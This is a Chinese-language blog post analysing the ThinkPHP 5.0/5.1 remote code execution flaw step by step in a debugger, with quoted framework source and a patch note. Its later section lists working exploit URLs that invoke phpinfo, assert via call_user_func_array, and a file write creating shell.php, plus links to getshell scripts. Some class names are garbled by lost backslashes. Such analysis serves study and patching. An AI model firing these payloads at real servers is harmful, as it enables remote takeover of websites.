文章首發了博客:ThinkPHP5 遠程代碼執行漏洞動態分析


0x01 前言

這個漏洞已經過去了十多天了,最近比較忙,一直沒有寫分析的文章。今天抽點時間出來寫一篇動態分析的文章,遠程執行漏洞用動態分析比較方便也看出整個執行的過程和一些變數參數。

ThinkPHP官方最近修復了一個嚴重的遠程代碼執行漏洞。這個主要漏洞原因是由於框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠程命令,受影響的版本包括5.0和5.1版本。

0x02 環境

程序源碼下載:thinkphp.cn/download/96 Web環境:Windows 10 x64+PHPStudy 20018 調試工具:phpstorm+xdebug(用vscode也可以,我比較習慣用phpstorm)

xdebug調試配置可以參考我的一篇文章getpass.cn/2018/04/10/B

因為我是從頭分析到尾,所以要在設置裡面勾上Break at first line in PHP script

搭建就不多說了,放源碼在根目錄然後phpstudy啟動!

0x03 漏洞復現

奉上我們的Poc:http://getpass.test/public/index.php?s=index/ hinkRequest/input&filter=phpinfo&data=1

其實有很多利用的地方,到後面分析完再說。

0x04 漏洞分析

因為是從開始分析,也比較適合新手,雖然囉嗦了點哈,我就不演示去下某個斷點了,如果有不懂的你們也可以在不懂的地方下一個斷點然後繼續分析(記得去掉Break at first line in PHP script再下斷點)。

有些不是重點的直接F7或者F8走下去,F7跟進Facade

App.php初始化的地方,繼續F8往下面走

routeCheckF7跟進去

到這裡F7繼續跟進去

有些沒有必要的函數就直接F8跳過去,到pathinfo()這裡F7跟進去

我們可以分析一下這個·pathinfo函數的代碼$this->config->get(var_pathinfo)這一句是從配置文件config/app.php獲取的值

當請求報文包含$_GET[s],就取其值作為pathinfo,並返回pathinfo給調用函數,所以我們可利用$_GET[s]來傳遞路由信息。

public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config->get(var_pathinfo)])) {
// 判斷URL裡面是否有兼容模式參數
$_SERVER[PATH_INFO] = $_GET[$this->config->get(var_pathinfo)];
unset($_GET[$this->config->get(var_pathinfo)]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER[PATH_INFO] = isset($_SERVER[argv][1]) ? $_SERVER[argv][1] : ;
}

// 分析PATHINFO信息
if (!isset($_SERVER[PATH_INFO])) {
foreach ($this->config->get(pathinfo_fetch) as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER[PATH_INFO] = (0 === strpos($_SERVER[$type], $_SERVER[SCRIPT_NAME])) ?
substr($_SERVER[$type], strlen($_SERVER[SCRIPT_NAME])) : $_SERVER[$type];
break;
}
}
}

$this->pathinfo = empty($_SERVER[PATH_INFO]) ? / : ltrim($_SERVER[PATH_INFO], /);
}

return $this->pathinfo;
}

可以看到return $this->pathinfo;返回的內容

F7走,可以看到$pathinfo賦值給$this->path

F7走到check的函數,如果開啟了強制路由則會拋出異常,也就是說該漏洞在開啟強制路由的情況下不受影響,但是默認是不開啟的。

後面看到實例化了UrlDispatch對象,將$url傳遞給了構造函數。

再繼續分析下去,中間有些不必要的直接F8走過就行了。可以看到將$url傳遞給了$action

F7走下去,跳回了App.php,可以看到$dispatch返回來的值代入dispatch方法。

F7走進去,可以看到傳入的$dispatch賦值給了$this->dispatch,不過現在分析這個版本是有改動的,有些版本是在這裡用dispatch代入下面會分析到的parseUrl方法,這個版本的是用$this->actionparseUrl方法的,繼續分析下去,下面會分析到的。

F7又返回了App.php的文件,可以看到執行調度這裡$data = $dispatch->run();,我們F7跟進去

這裡就是上面所說的,$url是由thinkphp/library/think/route/Dispatch.php裡面的$this->action = $action;傳過來的。

我們F7繼續分析parseUrl方法,然後F8走到這裡

F7進到這個parseUrlPath方法裡面,用/來分割[模塊/控制器/操作]並存到$path數組裡面

private function parseUrlPath($url)
{
// 分隔符替換 確保路由定義使用統一的分隔符
$url = str_replace(|, /, $url);
$url = trim($url, /);
$var = [];

if (false !== strpos($url, ?)) {
// [模塊/控制器/操作?]參數1=值1&參數2=值2...
$info = parse_url($url);
$path = explode(/, $info[path]);
parse_str($info[query], $var);
} elseif (strpos($url, /)) {
// [模塊/控制器/操作]
$path = explode(/, $url);
} elseif (false !== strpos($url, =)) {
// 參數1=值1&參數2=值2...
parse_str($url, $var);
} else {
$path = [$url];
}

return [$path, $var];
}

中間的繼續F8往下走,返回的$route數組

繼續往下走,F7進去

可以看到thinkphp/library/think/route/Dispatch.php類這裡的$this->action的值變了。

繼續會走到thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action賦值給了$result

F8往下走,走到實例化控制器,這裡的$controller是可控的,是由上面的$result[1]傳過來的

$controller = strip_tags($result[1] ?: $this->app->config(app.default_controller));

F7跟進去,當$name存在反斜槓時就直接將$name賦值給$class並返回。攻擊者通過控制輸入就可以操控類的實例化過程,從而造成代碼執行漏洞。

下面就是調用反射執行類的步驟了

也可以往下看,這裡是通過invokeMethod 函數動態調用方法的地方,可以看到$classthinkRequset的類,$methodinput

後面就是把內容輸出到瀏覽器的過程了

0x05 漏洞分析回顧

我們從POC來分析執行過程http://getpass.test/public/index.php?s=index/ hinkRequest/input&filter=phpinfo&data=1

  1. 開始我們分析pathinfo()函數的時候得只可以用s來獲取路由信息
  2. parseUrlPath方法用來分割[模塊/控制器/操作]格式
  3. 在後面傳入$controller的時候,就是開始我們獲取到路由的值,但是用反斜槓就開頭,就是想要實例化的類
  4. 最後是反射函數,調用了input方法執行phpinfo()

一定是要Request類裡面的input方法來執行嗎?

不一定,視版本而決定。

以下是先知大神分類出來的

5.1是下面這些:

thinkLoader
ComposerAutoloadComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
thinkError
thinkContainer
thinkApp
thinkEnv
thinkConfig
thinkHook
thinkFacade
thinkfacadeEnv
env
thinkDb
thinkLang
thinkRequest
thinkLog
thinklogdriverFile
thinkfacadeRoute
route
thinkRoute
think
outeRule
think
outeRuleGroup
think
outeDomain
think
outeRuleItem
think
outeRuleName
think
outeDispatch
think
outedispatchUrl
think
outedispatchModule
thinkMiddleware
thinkCookie
thinkView
thinkviewdriverThink
thinkTemplate
think emplatedriverFile
thinkSession
thinkDebug
thinkCache
thinkcacheDriver
thinkcachedriverFile

5.0 的有:

thinkRoute
thinkConfig
thinkError
thinkApp
thinkRequest
thinkHook
thinkEnv
thinkLang
thinkLog
thinkLoader

兩個版本公有的是:

thinkRoute
thinkLoader
thinkError
thinkApp
thinkEnv
thinkConfig
thinkHook
thinkLang
thinkRequest
thinkLog

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think
equest/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/ hink emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

這裡也不寫getshell的python腳本了 ,可以參考

https://github.com/theLSA/tp5-getshell

https://payloads.online/archivers/2018-12-05/1

0x06 補丁分析

下面是針對5.0和5.1的補丁,添加了正則過濾,導致無法再傳入 hinkapp這種形式的控制器。

0x07 結束

很多天沒發文章,這個洞還是蠻厲害的,前段時間爆發的時候還看到有人用這個洞掃全網的ip。

0x08 參考

secpulse.com/archives/9

paper.seebug.org/760/

kancloud.cn/manual/thin

lsablog.com/networksec/

iaq.pw/archives/106

xz.aliyun.com/t/3570


推薦閱讀:
相關文章